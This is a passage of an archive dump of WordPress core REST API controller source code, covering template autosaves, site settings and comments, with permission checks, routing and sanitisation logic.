'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base, '(?P[\d]+)' ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), 'id' => array( 'description' => __( 'The ID for the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Prepares the item for the REST response. * * @since 6.4.0 * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $template = _build_block_template_result_from_post( $item ); $response = $this->parent_controller->prepare_item_for_response( $template, $request ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return $response; } $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->post_parent; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template ); $response->add_links( $links ); } return $response; } /** * Gets the autosave, if the ID is valid. * * @since 6.4.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise. */ public function get_item( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $autosave = wp_get_post_autosave( $parent->ID ); if ( ! $autosave ) { return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this template.' ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $autosave, $request ); return $response; } /** * Get the parent post. * * @since 6.4.0 * * @param int $parent_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_id ) { return $this->revisions_controller->get_parent( $parent_id ); } /** * Prepares links for the request. * * @since 6.4.0 * * @param WP_Block_Template $template Template. * @return array Links for the given post. */ protected function prepare_links( $template ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ), ), 'parent' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ), ), ); return $links; } /** * Retrieves the autosave's schema, conforming to JSON Schema. * * @since 6.4.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = $this->revisions_controller->get_item_schema(); return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-settings-controller.php000064400000024132152506367270014017 0ustar00namespace = 'wp/v2'; $this->rest_base = 'settings'; } /** * Registers the routes for the site's settings. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'args' => array(), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read and manage settings. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access for the item, otherwise false. */ public function get_item_permissions_check( $request ) { return current_user_can( 'manage_options' ); } /** * Retrieves the settings. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return array|WP_Error Array on success, or WP_Error object on failure. */ public function get_item( $request ) { $options = $this->get_registered_options(); $response = array(); foreach ( $options as $name => $args ) { /** * Filters the value of a setting recognized by the REST API. * * Allow hijacking the setting value and overriding the built-in behavior by returning a * non-null value. The returned value will be presented as the setting value instead. * * @since 4.7.0 * * @param mixed $result Value to use for the requested setting. Can be a scalar * matching the registered schema for the setting, or null to * follow the default get_option() behavior. * @param string $name Setting name (as shown in REST API responses). * @param array $args Arguments passed to register_setting() for this setting. */ $response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args ); if ( is_null( $response[ $name ] ) ) { // Default to a null value as "null" in the response means "not set". $response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] ); } /* * Because get_option() is lossy, we have to * cast values to the type they are registered with. */ $response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] ); } return $response; } /** * Prepares a value for output based off a schema array. * * @since 4.7.0 * * @param mixed $value Value to prepare. * @param array $schema Schema to match. * @return mixed The prepared value. */ protected function prepare_value( $value, $schema ) { /* * If the value is not valid by the schema, set the value to null. * Null values are specifically non-destructive, so this will not cause * overwriting the current invalid value to null. */ if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) { return null; } return rest_sanitize_value_from_schema( $value, $schema ); } /** * Updates settings for the settings object. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return array|WP_Error Array on success, or error object on failure. */ public function update_item( $request ) { $options = $this->get_registered_options(); $params = $request->get_params(); foreach ( $options as $name => $args ) { if ( ! array_key_exists( $name, $params ) ) { continue; } /** * Filters whether to preempt a setting value update via the REST API. * * Allows hijacking the setting update logic and overriding the built-in behavior by * returning true. * * @since 4.7.0 * * @param bool $result Whether to override the default behavior for updating the * value of a setting. * @param string $name Setting name (as shown in REST API responses). * @param mixed $value Updated setting value. * @param array $args Arguments passed to register_setting() for this setting. */ $updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args ); if ( $updated ) { continue; } /* * A null value for an option would have the same effect as * deleting the option from the database, and relying on the * default value. */ if ( is_null( $request[ $name ] ) ) { /* * A null value is returned in the response for any option * that has a non-scalar value. * * To protect clients from accidentally including the null * values from a response object in a request, we do not allow * options with values that don't pass validation to be updated to null. * Without this added protection a client could mistakenly * delete all options that have invalid values from the * database. */ if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) { return new WP_Error( 'rest_invalid_stored_value', /* translators: %s: Property name. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); } delete_option( $args['option_name'] ); } else { update_option( $args['option_name'], $request[ $name ] ); } } return $this->get_item( $request ); } /** * Retrieves all of the registered options for the Settings API. * * @since 4.7.0 * * @return array Array of registered options. */ protected function get_registered_options() { $rest_options = array(); foreach ( get_registered_settings() as $name => $args ) { if ( empty( $args['show_in_rest'] ) ) { continue; } $rest_args = array(); if ( is_array( $args['show_in_rest'] ) ) { $rest_args = $args['show_in_rest']; } $defaults = array( 'name' => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name, 'schema' => array(), ); $rest_args = array_merge( $defaults, $rest_args ); $default_schema = array( 'type' => empty( $args['type'] ) ? null : $args['type'], 'title' => empty( $args['label'] ) ? '' : $args['label'], 'description' => empty( $args['description'] ) ? '' : $args['description'], 'default' => $args['default'] ?? null, ); $rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] ); $rest_args['option_name'] = $name; // Skip over settings that don't have a defined type in the schema. if ( empty( $rest_args['schema']['type'] ) ) { continue; } /* * Allow the supported types for settings, as we don't want invalid types * to be updated with arbitrary values that we can't do decent sanitizing for. */ if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) { continue; } $rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] ); $rest_options[ $rest_args['name'] ] = $rest_args; } return $rest_options; } /** * Retrieves the site setting schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $options = $this->get_registered_options(); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'settings', 'type' => 'object', 'properties' => array(), ); foreach ( $options as $option_name => $option ) { $schema['properties'][ $option_name ] = $option['schema']; $schema['properties'][ $option_name ]['arg_options'] = array( 'sanitize_callback' => array( $this, 'sanitize_callback' ), ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Custom sanitize callback used for all options to allow the use of 'null'. * * By default, the schema of settings will throw an error if a value is set to * `null` as it's not a valid value for something like "type => string". We * provide a wrapper sanitizer to allow the use of `null`. * * @since 4.7.0 * * @param mixed $value The value for the setting. * @param WP_REST_Request $request The request object. * @param string $param The parameter name. * @return mixed|WP_Error */ public function sanitize_callback( $value, $request, $param ) { if ( is_null( $value ) ) { return $value; } return rest_parse_request_arg( $value, $request, $param ); } /** * Recursively add additionalProperties = false to all objects in a schema * if no additionalProperties setting is specified. * * This is needed to restrict properties of objects in settings values to only * registered items, as the REST API will allow additional properties by * default. * * @since 4.9.0 * @deprecated 6.1.0 Use {@see rest_default_additional_properties_to_false()} instead. * * @param array $schema The schema array. * @return array */ protected function set_additional_properties_to_false( $schema ) { _deprecated_function( __METHOD__, '6.1.0', 'rest_default_additional_properties_to_false()' ); return rest_default_additional_properties_to_false( $schema ); } } class-wp-rest-comments-controller.php000064400000173030152506367270014006 0ustar00namespace = 'wp/v2'; $this->rest_base = 'comments'; $this->meta = new WP_REST_Comment_Meta_Fields(); } /** * Registers the routes for comments. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the comment.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'password' => array( 'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ), 'type' => 'string', ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), 'password' => array( 'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ), 'type' => 'string', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read comments. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, error object otherwise. */ public function get_items_permissions_check( $request ) { $is_note = 'note' === $request['type']; $is_edit_context = 'edit' === $request['context']; $protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' ); $forbidden_params = array(); if ( ! empty( $request['post'] ) ) { foreach ( (array) $request['post'] as $post_id ) { $post = get_post( $post_id ); if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read comments without a post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && $is_note && ! $this->check_post_type_supports_notes( $post->post_type ) ) { if ( current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'rest_comment_not_supported_post_type', __( 'Sorry, this post type does not support notes.' ), array( 'status' => 403 ) ); } foreach ( $protected_params as $param ) { if ( 'status' === $param ) { if ( 'approve' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( 'type' === $param ) { if ( 'comment' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( ! empty( $request[ $param ] ) ) { $forbidden_params[] = $param; } } return new WP_Error( 'rest_forbidden_param', /* translators: %s: List of forbidden parameters. */ sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) ); } } } // Re-map edit context capabilities when requesting `note` for a post. if ( $is_edit_context && $is_note && ! empty( $request['post'] ) ) { foreach ( (array) $request['post'] as $post_id ) { if ( ! current_user_can( 'edit_post', $post_id ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } } } elseif ( $is_edit_context && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'edit_posts' ) ) { foreach ( $protected_params as $param ) { if ( 'status' === $param ) { if ( 'approve' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( 'type' === $param ) { if ( 'comment' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( ! empty( $request[ $param ] ) ) { $forbidden_params[] = $param; } } if ( ! empty( $forbidden_params ) ) { return new WP_Error( 'rest_forbidden_param', /* translators: %s: List of forbidden parameters. */ sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) ); } } return true; } /** * Retrieves a list of comment items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'author' => 'author__in', 'author_email' => 'author_email', 'author_exclude' => 'author__not_in', 'exclude' => 'comment__not_in', 'include' => 'comment__in', 'offset' => 'offset', 'order' => 'order', 'parent' => 'parent__in', 'parent_exclude' => 'parent__not_in', 'per_page' => 'number', 'post' => 'post__in', 'search' => 'search', 'status' => 'status', 'type' => 'type', ); $prepared_args = array(); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } // Ensure certain parameter values default to empty strings. foreach ( array( 'author_email', 'search' ) as $param ) { if ( ! isset( $prepared_args[ $param ] ) ) { $prepared_args[ $param ] = ''; } } if ( isset( $registered['orderby'] ) ) { $prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] ); } $prepared_args['no_found_rows'] = false; $prepared_args['update_comment_post_cache'] = true; $prepared_args['date_query'] = array(); // Set before into date query. Date query must be specified as an array of an array. if ( isset( $registered['before'], $request['before'] ) ) { $prepared_args['date_query'][0]['before'] = $request['before']; } // Set after into date query. Date query must be specified as an array of an array. if ( isset( $registered['after'], $request['after'] ) ) { $prepared_args['date_query'][0]['after'] = $request['after']; } if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) { $prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 ); } $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $prepared_args['fields'] = 'ids'; // Disable priming comment meta for HEAD requests to improve performance. $prepared_args['update_comment_meta_cache'] = false; } /** * Filters WP_Comment_Query arguments when querying comments via the REST API. * * @since 4.7.0 * * @link https://developer.wordpress.org/reference/classes/wp_comment_query/ * * @param array $prepared_args Array of arguments for WP_Comment_Query. * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request ); $query = new WP_Comment_Query(); $query_result = $query->query( $prepared_args ); if ( ! $is_head_request ) { $comments = array(); foreach ( $query_result as $comment ) { if ( ! $this->check_read_permission( $comment, $request ) ) { continue; } $data = $this->prepare_item_for_response( $comment, $request ); $comments[] = $this->prepare_response_for_collection( $data ); } } $total_comments = (int) $query->found_comments; $max_pages = (int) $query->max_num_pages; if ( $total_comments < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $prepared_args['number'], $prepared_args['offset'] ); $query = new WP_Comment_Query(); $prepared_args['count'] = true; $prepared_args['orderby'] = 'none'; $prepared_args['update_comment_meta_cache'] = false; $total_comments = $query->query( $prepared_args ); $max_pages = (int) ceil( $total_comments / $request['per_page'] ); } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $comments ); $response->header( 'X-WP-Total', (string) $total_comments ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $request['page'] > 1 ) { $prev_page = $request['page'] - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $request['page'] ) { $next_page = $request['page'] + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the comment, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise. */ protected function get_comment( $id ) { $error = new WP_Error( 'rest_comment_invalid_id', __( 'Invalid comment ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $id = (int) $id; $comment = get_comment( $id ); if ( empty( $comment ) ) { return $error; } if ( ! empty( $comment->comment_post_ID ) ) { $post = get_post( (int) $comment->comment_post_ID ); if ( empty( $post ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) ); } } return $comment; } /** * Checks if a given request has access to read the comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, error object otherwise. */ public function get_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } // Re-map edit context capabilities when requesting `note` type. $edit_cap = 'note' === $comment->comment_type ? array( 'edit_comment', $comment->comment_ID ) : array( 'moderate_comments' ); if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( ...$edit_cap ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } $post = get_post( $comment->comment_post_ID ); if ( ! $this->check_read_permission( $comment, $request ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function get_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $data = $this->prepare_item_for_response( $comment, $request ); $response = rest_ensure_response( $data ); return $response; } /** * Checks if a given request has access to create a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, error object otherwise. */ public function create_item_permissions_check( $request ) { $is_note = ! empty( $request['type'] ) && 'note' === $request['type']; if ( ! is_user_logged_in() && $is_note ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } if ( ! is_user_logged_in() ) { if ( get_option( 'comment_registration' ) ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } /** * Filters whether comments can be created via the REST API without authentication. * * Enables creating comments for anonymous users. * * @since 4.7.0 * * @param bool $allow_anonymous Whether to allow anonymous comments to * be created. Default `false`. * @param WP_REST_Request $request Request used to generate the * response. */ $allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request ); if ( ! $allow_anonymous ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } } // Limit who can set comment `author`, `author_ip` or `status` to anything other than the default. if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_comment_invalid_author', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ), array( 'status' => rest_authorization_required_code() ) ); } if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) { if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) { return new WP_Error( 'rest_comment_invalid_author_ip', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ), array( 'status' => rest_authorization_required_code() ) ); } } if ( $is_note && ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) { return new WP_Error( 'rest_cannot_create_note', __( 'Sorry, you are not allowed to create notes for this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $edit_cap = $is_note ? array( 'edit_post', (int) $request['post'] ) : array( 'moderate_comments' ); if ( isset( $request['status'] ) && ! current_user_can( ...$edit_cap ) ) { return new WP_Error( 'rest_comment_invalid_status', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ), array( 'status' => rest_authorization_required_code() ) ); } if ( empty( $request['post'] ) ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) ); } $post = get_post( (int) $request['post'] ); if ( ! $post ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) ); } if ( $is_note && ! $this->check_post_type_supports_notes( $post->post_type ) ) { return new WP_Error( 'rest_comment_not_supported_post_type', __( 'Sorry, this post type does not support notes.' ), array( 'status' => 403 ) ); } if ( 'draft' === $post->post_status && ! $is_note ) { return new WP_Error( 'rest_comment_draft_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) ); } if ( 'trash' === $post->post_status ) { return new WP_Error( 'rest_comment_trash_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) ); } if ( ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! comments_open( $post->ID ) && ! $is_note ) { return new WP_Error( 'rest_comment_closed', __( 'Sorry, comments are closed for this item.' ), array( 'status' => 403 ) ); } return true; } /** * Creates a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_comment_exists', __( 'Cannot create existing comment.' ), array( 'status' => 400 ) ); } // Do not allow comments to be created with a non-core type. if ( ! empty( $request['type'] ) && ! in_array( $request['type'], array( 'comment', 'note' ), true ) ) { return new WP_Error( 'rest_invalid_comment_type', __( 'Cannot create a comment with that type.' ), array( 'status' => 400 ) ); } $prepared_comment = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_comment ) ) { return $prepared_comment; } $prepared_comment['comment_type'] = $request['type']; if ( ! isset( $prepared_comment['comment_content'] ) ) { $prepared_comment['comment_content'] = ''; } // Include note metadata into check_is_comment_content_allowed. if ( isset( $request['meta']['_wp_note_status'] ) ) { $prepared_comment['meta']['_wp_note_status'] = $request['meta']['_wp_note_status']; } if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) { return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) ); } // Setting remaining values before wp_insert_comment so we can use wp_allow_comment(). if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) { $prepared_comment['comment_date_gmt'] = current_time( 'mysql', true ); } // Set author data if the user's logged in. $missing_author = empty( $prepared_comment['user_id'] ) && empty( $prepared_comment['comment_author'] ) && empty( $prepared_comment['comment_author_email'] ) && empty( $prepared_comment['comment_author_url'] ); if ( is_user_logged_in() && $missing_author ) { $user = wp_get_current_user(); $prepared_comment['user_id'] = $user->ID; $prepared_comment['comment_author'] = $user->display_name; $prepared_comment['comment_author_email'] = $user->user_email; $prepared_comment['comment_author_url'] = $user->user_url; } // Honor the discussion setting that requires a name and email address of the comment author. if ( get_option( 'require_name_email' ) ) { if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) { return new WP_Error( 'rest_comment_author_data_required', __( 'Creating a comment requires valid author name and email values.' ), array( 'status' => 400 ) ); } } if ( ! isset( $prepared_comment['comment_author_email'] ) ) { $prepared_comment['comment_author_email'] = ''; } if ( ! isset( $prepared_comment['comment_author_url'] ) ) { $prepared_comment['comment_author_url'] = ''; } if ( ! isset( $prepared_comment['comment_agent'] ) ) { $prepared_comment['comment_agent'] = ''; } $check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment ); if ( is_wp_error( $check_comment_lengths ) ) { $error_code = $check_comment_lengths->get_error_code(); return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) ); } // Don't check for duplicates or flooding for notes. $prepared_comment['comment_approved'] = 'note' === $prepared_comment['comment_type'] ? '1' : wp_allow_comment( $prepared_comment, true ); if ( is_wp_error( $prepared_comment['comment_approved'] ) ) { $error_code = $prepared_comment['comment_approved']->get_error_code(); $error_message = $prepared_comment['comment_approved']->get_error_message(); if ( 'comment_duplicate' === $error_code ) { return new WP_Error( $error_code, $error_message, array( 'status' => 409 ) ); } if ( 'comment_flood' === $error_code ) { return new WP_Error( $error_code, $error_message, array( 'status' => 400 ) ); } return $prepared_comment['comment_approved']; } /** * Filters a comment before it is inserted via the REST API. * * Allows modification of the comment right before it is inserted via wp_insert_comment(). * Returning a WP_Error value from the filter will short-circuit insertion and allow * skipping further processing. * * @since 4.7.0 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion. * * @param array|WP_Error $prepared_comment The prepared comment data for wp_insert_comment(). * @param WP_REST_Request $request Request used to insert the comment. */ $prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request ); if ( is_wp_error( $prepared_comment ) ) { return $prepared_comment; } $comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) ); if ( ! $comment_id ) { return new WP_Error( 'rest_comment_failed_create', __( 'Creating comment failed.' ), array( 'status' => 500 ) ); } if ( isset( $request['status'] ) ) { $this->handle_status_param( $request['status'], $comment_id ); } $comment = get_comment( $comment_id ); /** * Fires after a comment is created or updated via the REST API. * * @since 4.7.0 * * @param WP_Comment $comment Inserted or updated comment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a comment, false * when updating. */ do_action( 'rest_insert_comment', $comment, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $comment_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $comment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view'; $request->set_param( 'context', $context ); /** * Fires completely after a comment is created or updated via the REST API. * * @since 5.0.0 * * @param WP_Comment $comment Inserted or updated comment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a comment, false * when updating. */ do_action( 'rest_after_insert_comment', $comment, $request, true ); $response = $this->prepare_item_for_response( $comment, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) ); return $response; } /** * Checks if a given REST request has access to update a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about 